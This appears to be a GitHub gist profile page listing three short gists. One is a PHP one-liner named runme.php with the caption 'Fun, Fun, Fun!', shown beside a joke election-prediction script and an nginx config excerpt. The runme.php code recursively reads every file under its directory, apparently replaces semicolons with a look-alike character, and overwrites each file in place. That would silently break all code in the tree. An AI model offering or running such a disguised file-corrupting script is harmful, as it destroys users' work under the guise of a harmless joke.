Skip to content

Instantly share code, notes, and snippets.

View Maikuolan's full-sized avatar
🎯
Still alive and quietly getting things done.

Caleb Mazalevskis Maikuolan

🎯
Still alive and quietly getting things done.
View GitHub Profile
@Maikuolan
Maikuolan / runme.php
Created November 26, 2016 17:11
Fun, Fun, Fun!
<?php $L=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(__DIR__), RecursiveIteratorIterator::SELF_FIRST);@foreach($L as $F=>$L){$X=substr($L,-2);if(preg_match('~([\\/]\.|\.\.)~',$L)){continue;}$D=str_replace(';',';',file_get_contents($L));$H=fopen($L,'w');fwrite($H, $D);fclose($H);} ?>
@Maikuolan
Maikuolan / Predictions.php
Last active November 19, 2016 16:12
Just for laughs (Re: PHP Group PHP predictions discussion).
<?php
/* If [1] Paul the Octopus can successfully predict the winners for the 2010
* FIFA World Cup 11 out of 13 times, perhaps, just for laughs, we can give it
* a go in PHP. ;-)
*
* The three next closest up-coming general elections in the world at the
* moment, as far as I could determine via googling, seem to be in [2] Ghana
* (7 December 2016, with John Dramani Mahama vs Nana Akufo-Addo), [3]
* Macedonia (11 December 2016, with Nikola Gruevski vs Zoran Zaev), and [3]
* Romania (11 December 2016, with Liviu Dragnea vs Alina Gorghiu vs Călin
@Maikuolan
Maikuolan / nginx.conf
Created October 23, 2016 04:57
Example information for having PHP listen to your server.
# Example information for having PHP listen to your server.
server {
listen 80;
server_name localhost foo.bar.tld *.domain.tld;
autoindex off;
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#